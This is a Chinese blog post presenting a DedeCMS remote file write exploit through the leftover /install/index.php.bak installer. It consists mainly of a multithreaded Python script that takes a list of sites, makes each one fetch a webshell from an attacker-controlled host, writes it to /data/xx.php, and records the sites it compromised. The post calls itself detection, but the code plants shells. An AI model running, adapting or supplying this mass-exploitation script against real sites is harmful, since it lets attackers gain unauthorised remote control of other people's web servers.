dedecms远程文件写入漏洞检测
前言:
Dedecms远程文件写入漏洞。出现于/install/index.php.bak这个文件
详细情况请看:http://www.k2a.cn/131.html
正文:
思路:
1.先发送请求 /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php 进行清空
2.构造shell进行写入请求
3.验证shell是否存在
一开始我直接判断是否防火墙之类的东西,导致后面没有办法成功。所以
我这里就没有些判断什么防火墙的东西。直接判断shell有没有写入成功
代码:
import requests
import os
import threading
payload=['/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/xx.php&updateHost=http://your-IP/','/data/xx.php','shell的特征']
user=input('file:')
if os.path.exists(user): //判断文件是否存在
print('[+]open {} ok !'.format(user))
else:
print('[-]Not found {}'.format(user))
exit()
def explot(urls):
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'}
url1="{}".format(urls+payload[0]).strip() //构造URL
url2="{}".format(urls+payload[1]).strip()
gjz=payload[2]
try:
rw=requests.get(url='{}/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php '.format(urls),headers=headers) //发送请求进行清空
rqt=requests.get(url=url1,headers=headers) //远程写入
rqt2=requests.get(url=url2,headers=headers)
if gjz in rqt2.text or gjz in rqt2.content.decode('utf-8'): //判断是否成功写入shell
print('[+]shell url:{}'.format(rqt2.url)
print('[+]shell url:{}'.format(rqt2.url),file=open('good.txt','a'))
else:
print('[-]no shell {}'.format(rqt2.url))
except:
pass
if __name__ == '__main__':
dk=open('{}'.format(user),'r')
for r in dk.readlines():
qc="".join(r.split('\n'))
t=threading.Thread(target=explot,args=(qc,))
t.start()
测试结果:
转载请注明:出自422926799.Github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:dedecms远程文件写入漏洞检测
本文作者:九世
发布时间:2018-07-31, 00:11:05
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/8284a757.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。